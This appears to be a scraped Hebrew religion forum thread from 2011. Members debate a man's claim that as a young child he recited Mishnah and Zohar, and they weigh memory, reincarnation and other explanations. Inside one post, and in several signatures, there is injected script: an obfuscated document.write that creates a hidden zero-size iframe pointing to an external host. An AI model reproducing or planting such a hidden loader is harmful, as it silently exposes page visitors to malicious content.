בית פורומים עצור כאן חושבים

על ילד הפלא שידע הכל

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-21/7/2011 14:35 לינק ישיר 

א. למה כל המקורות הם חסידיים שאמונתם התמימה היא מעלתם

ב. אני מאד מעוניין להכיר את הילד הזה עם זאת מה בן אדם זוכר כבר מגיל 4

ג. אמנם בחיי עולם הובא הסיפור הנז' אולם בספר שאלת רב מהגרח"ק הוא עונה בתשובה לשואל על פרט מהסיפור כי להד"ם והכל הבלים והיינו שהוא עצמו לא מאמין בזה



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/7/2011 15:26 לינק ישיר 

פרזנט,
ישו הנוצרי.
וכדברי ר' ירוחם.



דדווח על תוכן פוגעני

מנותק
נשלח ב-22/7/2011 02:55 לינק ישיר 

מעולם לא ניצחני אדם אלא תינוק זה



דדווח על תוכן פוגעני

מחובר
נשלח ב-22/7/2011 06:36 לינק ישיר 

[מצעדי,

האם דבריך כפשוטם? כלומר, הכרת אותו בילדותו ותוכל להוסיף פרטים, או שמא דבריך משל בעלמא הם?

ואם משל הם, כדאי לזכור מאין לקוח הביטוי - התינוק שניצח את ר' יהושע בן חנניה, אי-שם בעירובין, לא ציטט את כל התורה ואפילו לא רבע מהזוהר, אלא פשוט לימד אותו אבחנה מעניינת בין שתי דרכים.
אולי יש פה גם סוג של פואנטה - בחברה בה ידיעת ספרים בע"פ נחשבת חוכמה, רק בנס יוכל ילד להוכיח כי הוא חכם, ואילו בחברה (כמו זו בה חי ר' יהושע בן חנניה, אולי) בה לא הספר עיקר אלא התוכן והמשמעות עיקר, גם ילד (או אישה, או ילדה וראו שם) יכול להחכים את יושבי בתי המדרש, ודווקא בגלל פשטות המחשבה וישרותה.]



דדווח על תוכן פוגעני

מנותק
נשלח ב-22/7/2011 09:36 לינק ישיר 

אכן אבחנה מענינת אולם כוונתי בפראפראזה



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/7/2011 14:35 לינק ישיר 

בשיחה שהיית לי היום עם היהודי המדובר פה התבררו לי כמה נקודות:

א. הוא זוכר את הסיפור מעצמו ולא מסיפוריהם של אחרים.
ב. העניין התחיל בהיותו בן ארבע וחצי ונמשך סה"כ שלושה חודשים.
ג. בכל התקופה הזאת הוריו סגרו אותו בביתו מחשש עין הרע, והוציאו אותו רק לרבנים שבחנוהו.
ד. בין השאר היה גם אצל הרב הרצוג (שהשיג פרוטקציה לראותו כי אחרת לא שייך וכו').
ה. הרב של מלבורן (אני שכחתי את שמו, אפשר לברר) שבחן השאיר פירוט של יכולותיו (המכתב בידו עד היום).
ו. נדמה לו שגם רבי אהרן קוטלר היה גם בביתם ובחן אותו (לא בטוח בזה).
ז. ידע כל מה שהתחילו לפניו אבל לא הבין מה הוא אומר (לא ידע לקרוא בכלל).
ח. בין השאר ידע משניות וגמרות ואפילו ז-ה-ר (מיימוני ?!).

עיתונאי מיתד רודף אחריו כל הזמן לראיון אבל הוא דחה אותו לכשיגיע לגיל 80 (עוד 18 שנה). באופן כללי לא מעוניין לדבר ברבים על עניייניו, ועכ"ז מוכן לענות לשאלותיי בגלל שאני מדבר ברבים וכו'. אם תהיינה שאלות נוספות מוכן לענות דרכי.

לשירותכם בכל עת, שותפיסוד.



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/7/2011 15:38 לינק ישיר 

איך הוא בטוח שהוא זוכר את הסיפור מעצמו?



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/7/2011 15:56 לינק ישיר 

נסו להזכר מה אתם זוכרים בברור מגיל ארבע וחצי .

(ועוד לזכור בדיוק את משך התקופה שהתופעה התרחשה.)

כנראה שכך עוברים מפה לאוזן,בעזרת שותפי סוד נאמנים, כל סיפורי הנסים מהעבר הרחוק והקרוב.



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/7/2011 16:36 לינק ישיר 

איך הוא בטוח שהוא זה הוא?
איך אתה בטוח שהוא זה הוא?
איך אנו אמורים להיות בטוחים?
הרי בהרבה דברים הוא בעצמו לא בטוח?
האם זה לא מעורר תמיהות כי רק לך הוא מוכן לענות?
איך הוא מוכן לענות למרות שכאמור הוא לא זוכר רבות?
מה בדיוק אתה או אנחנו אמורים לשאול?
איך נתיחס כאמת למה שאתה תספר לנו בשמו?
הרי כולנו משוחדים לטובת דעותנו והשגת מטרתנו, -ואתה עלית על כולן.
העובדה- הילד כאמור לא הבין מה שקרא! אבל ידע שהוא קורא זהר,
 על מנת שתוכל לכתוב כאן באשכול. בחיוך רחב של נצהון !  מימוני אתה רואה? עובדה!!!


תוקן על ידי ירוחםשמ ב- 29/07/2011 16:39:31




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/7/2011 16:37 לינק ישיר 

פחח. כדרכם של כל ה"ניסים" בני זמנינו, אי אפשר להעמיד אותם למבחן... 



דדווח על תוכן פוגעני

מחובר
נשלח ב-31/7/2011 00:25 לינק ישיר 

שותף

יישר כוח גדול מאד, כלומר איקון ירקרק ביותר.

האם תוכל להביא מן המכתב ששמור אצלו המסכם את יכולותיו?

האם ההצעה שהועלתה כאן, לאמור שהיה לו זכרון פנומנלי ולכן חזר על מה ששמע ורק על מה ששמע, יכולה להתאים למה שידוע לו?

האם יש לו זכרון יוצא דופן גם מאז?

האם הוא נבחן וידע גם טקסטים אחרים? מה בדיוק כוללת הרשימה שלו?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-31/7/2011 08:31 לינק ישיר 

מיימוני כתב:
האם תוכל להביא מן המכתב ששמור אצלו המסכם את יכולותיו?

הוא הבטיח להראות לי אותו. צריך ללכת איתו קצת בעדינות. אשתדל בהמשך.

האם ההצעה שהועלתה כאן, לאמור שהיה לו זכרון פנומנלי ולכן חזר על מה ששמע ורק על מה ששמע, יכולה להתאים למה שידוע לו?

לא נראה לי כי הוא נבחן על ספרים שלא הכיר בכלל בתור ילד קטן.
וגם לאן כל זה נעלם פתאום בבת אחת ?

האם יש לו זכרון יוצא דופן גם מאז?

לא ידוע לאף אחד. האיש עובד לפרנסתו בעבודה סטנדרטית ולומד דף היומי בשעות הערב כמו כולם.

האם הוא נבחן וידע גם טקסטים אחרים? מה בדיוק כוללת הרשימה שלו? 

כתבתי לעיל בערך מה שאמר לי. ייתכן שיתברר יותר כשנראה את המכתב הנ"ל.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



דדווח על תוכן פוגעני

מנותק
נשלח ב-31/7/2011 14:43 לינק ישיר 

מיימוני כתב:

האם יש לו זכרון יוצא דופן גם מאז?


הרב מיימוני: שאלתי חברי ילדות שלו (שהם גאונים בעצמם בעלי תפקידים מכובדים בקהילה,) שלמדו איתו בחידר בישיבה,
והם טועניים שמדובר בבינוני לא יותר,



דדווח על תוכן פוגעני

מנותק
נשלח ב-31/7/2011 17:09 לינק ישיר 

כל המגיבים, וכל המגינים,

קודם כל צריך לברר את העובדות. אחר כך ניתן לדון על משמעותן ומה יוצא מהן.

כמדומה שאושרו כאן, ברמות שונות של אמינות, הנתונים הבאים:

א. ילד בן ארבע וחצי, במשך שלושה חודשים, ידע לצטט על פה טקסטים מהמסורת היהודית. היקפם ותכולתם המלאה אינם ידועים, אבל הם כללו משניות וזוהר.

ב. הילד לא גילה מאז כשרונות כמו זכרון פנומנלי שיכלו להסביר את התופעה.

ג. אדמור ורבנים שהכירו אותו טענו שמדובר בגלגול, כלומר חזרה של נשמה שכבר היתה בעולם הזה, למדה תורה וידעה את הטקסטים האלו. זה משתלב בתיאוריה כללית על גלגולים. כלומר שאדם יכול "לחזור" אבל הוא מאבד באופן כלשהו את כל מה שצבר בגלגול הקודם.

יש לשים לב כי אם סעיפים א וב הם נכונים, זה אינו מחייב את נכונות הפרשנות שהובאה בסעיף ג. ייתכנו הסברים אחרים, אם כי עלי להודות שאין לי כאלו. יעויין באשכול "הדג המדבר" שבו טענתי כי בהעדר הסברים המוכרים לנו, אין הנתונים מצביעים בכיוון מסויים. הם עשויים להצביע על אפשרויות כמו

1. חסד משמים כדי להוכיח לשוללי הגלגול, כמו כותב שורות אלו, שיש גלגולים. 

2. מעשה שטן כדי לגרום ליהודים טובים להתעסק בנושאים דמיוניים במקום בחובת האדם בעולמו (מצוות מעשיות, יישובו של עולם). נובע מתיאוריה זו שיש שטן שמעוניין להכשיל יהודים, כך שהתיאוריה הזו לא חביבה עלי.

3. למעשה יש גלגולים, אבל רק לפי הדגם הבודהיסטי. כלומר, מי שצובר קארמה חיובית מתקדם ומי שצובר שלילית נסוג עד למצב של בעלי חיים. הגלגול הזה משקף ירידה של בודהיסט צדיק שפעם אחת נכשל ואכל חתיכת נקניק ולכן נידון להתגלגל דווקא בעם היהודי (למעשה, הוא התגלגל ביהודי זו הפעם השניה כי בפעם הקודמת כבר התגלגל ביהודי ולמד תורה וספרות הקבלה).

4. לילד היו כישורים טלפטיים שבהם התחבר למוח של מי שיושב מולו ומדבר איתו. כאשר התבקש להשלים, הוא קרא את המילים שהופיעו בתודעתו של הבוחן.

5. לילד היו כישורים לקרוא את העתיד לזמן מוגבל של חמש דקות קדימה. הוא ידע מה הוא צפוי להקריא ולכן הקריא זאת. (כן, זה מעגלי ולכן בלתי אפשרי, אבל, כפי שכותב סופר המד"ב סילברברג, זה מתחיל תמיד מהפעם השניה. תיאור טוב של שיחה עם מי שיודע את הנולד דקה מראש מופיעה בכמה מספריו של טרי פראצ'ט).

בכל אופן, למרות הסעיפים הפרשניים שהצגתי בדרך הומוריסטית (=ליצנות), יש כאן בהחלט תופעה שחורגת מן המוכר לנו ולכן מחייבת הסבר מדעי. אם תיאורית הגלגולים תזכה למעמד של הסבר מועדף, יהיה עלינו, ועלי (איקון מודאג מאד) להודות שתיאורית הגלגולים זכתה לאישוש משמעותי, ויצדקו דברי הרמב"ן ויידחו דברי הרס"ג (=הרמב"ן האמין בגלגולים וראה בהם סוד של התורה. הרס"ג סבר שהם שטות שהגיעה מעם אחר).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-31/7/2011 17:15 לינק ישיר 

בעצם, התעלמתי מנקודה ששותף סוד הדגיש, ועמו הסליחה. אטפל בנקודה זו.

מדוע בטקסטים שידע הילד היו גם תלמוד וגם זוהר?

האם צמידות זו מעידה ששניהם בעלי אותה רמת חשיבות?

שוב, לפנינו אפשרויות שונות.

1. הילד זכה לגילוי שמיימי של טקסטים תורניים, ולכן הופעת הזוהר בחומר שהיה ידוע לו מעידה כי הוא תנאי וקדמון.

2. הילד היה גלגול של תלמיד חכם שלמד בפעם הקודמת שהיה בעולם הזה תלמוד וזוהר ולא שכח את מה שלמד.

כלומר הצמידות נובעת מהיותה חומר לימודים ולא מחמת אמיתותם של הטקסטים.

למעשה, אפילו אם היהדות אינה אמת (משפט שאיני מאמין בו אבל הוא "תיאוריה" כמו כל התיאוריות) אזי אם הגלגולים עובדים, יתכן שאדם יהיה יהודי, ילמד תורה, יתגלגל, ואם מנגנון השכחה לא יעבוד, גם יזכור מה שלמד קודם, אבל זה רק מעיד שיש גלגולים ולא שתכנים אלו ואחרים הם אמיתיים יותר מאחרים.

מיהא הא אישתייר קמן דגלגולי קושטא נינהו. (=עדיין מכאן נובע שהגלגולים הם אמת)...

האם יש תיאוריה חליפית לגלגולים שמסבירה באופן סביר את התופעה ואת הטקסטים שהילד ידע? יש לציין שהתיאוריה של שותף סוד (=זה גלגול והילד זכר דווקא חומר תורני, כלומר שהזוהר הוא ספר תורני ואמיתי) זוכה כאן להצדקה מפתיעה לגבי.

כמובן, יתכן עדיין לטעון שהזוהר חובר רק בספרד אבל הוא אמיתי כי הוא משקף סודות התורה, או שבשמים סוברים כמו היעבץ, שהספר מזוייף אבל כיון שיש בו דברים מאד מחזקים להמון לכן ראוי ללמדו וכו'.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > על ילד הפלא שידע הכל
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 ... 8 9 10 ... 31 32 33 לדף הבא סך הכל 33 דפים.

bholext